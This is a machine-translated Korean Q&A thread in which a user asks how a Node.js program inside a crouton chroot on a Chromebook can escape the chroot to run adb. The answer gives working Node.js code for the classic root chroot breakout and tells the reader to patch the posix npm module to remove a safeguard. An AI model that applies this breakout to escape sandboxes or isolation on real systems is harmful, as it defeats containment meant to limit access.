2017-11-25 2 views
-2

제목에 모두 나와 있습니다. chroot를 깨기 위해 node-js 프로그램에서 사용할 수있는 코드는 무엇입니까?NodeJS를 사용하여 chroot가 깨져

입력 보조 프로그램에 사용하고 있습니다. 입력 보조 프로그램은 Chromebook에서 crouton으로 만든 chroot 내부에서 실행됩니다. 그러나 입력 보조자가 내 크롬 북의 루트 디렉토리에있는 Linux chroot에서 탈출하여 Android 서브 시스템과 상호 작용하도록 "adb"명령을 실행할 수 있기를 바랍니다. (화면의 영역을 클릭하는 등)

나는 이미 Python과 C++에서 그것을 할 수 있지만 NodeJS에서는 할 수있는 방법을 찾지 못했습니다.

+0

네이티브 노드 모듈을 C++로 작성해 보았습니까? – Ankur

+0

@Ankur 아니요,하지만 "posix"노드 모듈을 사용하여이를 수행하는 방법을 발견했습니다. (작은 수정) – Venryx

+0

왜, downvotes? 이것은 실제 프로젝트에 대한 정당한 질문입니다. https://github.com/Venryx/InputAssistant – Venryx

답변

0

좋아, 내가 어떻게 여기 Perl 스크립트의 코드를 흉내 발견 다음과 같이 http://pentestmonkey.net/blog/chroot-breakout-perl

NodeJS 버전은 다음과 같습니다 (이 루트 액세스를 필요로 않습니다)

var fs = require("fs"); 
var posix = require("posix"); // run "npm install --save posix" first 

function EscapeCHRoot() { 
    var dir = "./tempCHRoot"; 

    // create subfolder to be our new root 
    if (!fs.existsSync(dir)){ 
     fs.mkdirSync(dir); 
    } 

    // change root to the subdirectory (letting us break out, ie. use "..") 
    posix.chroot(dir); 

    // change current-directory, all the way up to host's root 
    for (var i = 0; i < 100; i++) { 
     process.chdir(".."); 
    } 

    // change root to host's root folder, completing break-out process 
    posix.chroot("."); 
} 

그러나, 위의 코드는 사용하기 전에 "posix"npm 모듈을 변경해야합니다. 이는 chroot가 실행될 때마다 "posix"모듈이 기본적으로 chroot 디렉토리로 작업 디렉토리를 변경하기 때문입니다 (chroot breakout이 작동하지 않도록합니다). 따라서 우리는 코드를 편집하여 변경 디렉토리 호출을 제거해야합니다.

그런 다음 그 폴더에 "설치 NPM"실행, 열기 "node_modules/POSIX/SRC/posix.cc"이렇게,이 라인
// proper order is to first chdir() and then chroot() 
if (chdir(*dir_path)) { 
    return Nan::ThrowError(Nan::ErrnoException(errno, "chroot: chdir: ", "")); 
} 

을 주석 처리합니다.

그래야합니다. EscapeCHRoot() 함수를 실행하면 이제 올바르게 이스케이프되어야하므로 코드가 나중에 호스트 시스템의 파일에 액세스 할 수있게됩니다.

관련 문제